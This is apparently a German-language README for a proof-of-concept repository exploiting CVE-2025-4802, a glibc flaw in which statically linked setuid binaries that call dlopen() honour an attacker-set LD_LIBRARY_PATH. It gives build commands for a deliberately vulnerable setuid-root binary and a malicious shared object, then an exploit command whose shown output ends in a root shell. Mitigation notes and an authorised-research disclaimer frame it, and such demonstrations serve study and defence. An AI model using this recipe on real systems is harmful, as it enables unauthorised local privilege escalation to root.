
Proof of Concept für eine statisch kompilierte setuid-Binärdatei, die für dlopen mit LD_LIBRARY_PATH anfällig ist
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben. Missbrauch kann gegen Gesetze und Vorschriften verstoßen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-4802 |
| Betroffene Software | GNU C Library (glibc) |
| Betroffene Versionen | 2.27 – 2.38 |
| Schwachstellentyp | Privilegieneskalation über nicht vertrauenswürdigen LD_LIBRARY_PATH |
| Angriffsvektor | Lokal |
Eine Schwachstelle in der GNU C Library (glibc) in den Versionen 2.27 bis 2.38 ermöglicht es einem Angreifer, die Umgebungsvariable LD_LIBRARY_PATH in statisch kompilierten setuid-Binärdateien auszunutzen, die dlopen() aufrufen.
Normalerweise bereinigt der dynamische Linker LD_LIBRARY_PATH für setuid-Programme. Statisch kompilierte Binärdateien umgehen jedoch den dynamischen Linker vollständig, sodass LD_LIBRARY_PATH niemals gelöscht wird. Wenn eine solche Binärdatei dlopen() aufruft (direkt oder indirekt über setlocale() oder NSS-Funktionen wie getaddrinfo()), löst glibc Shared Libraries unter Verwendung des vom Angreifer kontrollierten LD_LIBRARY_PATH auf, was die Ausführung beliebigen Codes mit erhöhten Privilegien ermöglicht.
dlopen("myso.so", ...) auf, um ein Shared Object über den Namen (nicht über einen absoluten Pfad) zu laden.ld-linux.so) nie ausgeführt, sodass LD_LIBRARY_PATH nicht bereinigt wird.myso.so), das dasselbe hello()-Symbol exportiert, aber eine Root-Shell startet.LD_LIBRARY_PATH auf das Verzeichnis, das die bösartige Bibliothek enthält..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
Oder manuell:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Erwartete Ausgabe:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (bösartiges Verhalten)LD_LIBRARY_PATH=./evil_library ./main
Erwartete Ausgabe:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Die Binärdatei lädt die myso.so des Angreifers aus evil_library/ anstelle der legitimen und startet eine Root-Shell.

Ein Video-Walkthrough ist ebenfalls verfügbar: proof_of_concept_video.mp4
dlopen() verwendendlopen()-Aufrufen verwenden statt bloßer Bibliotheksnamendlopen() abgeben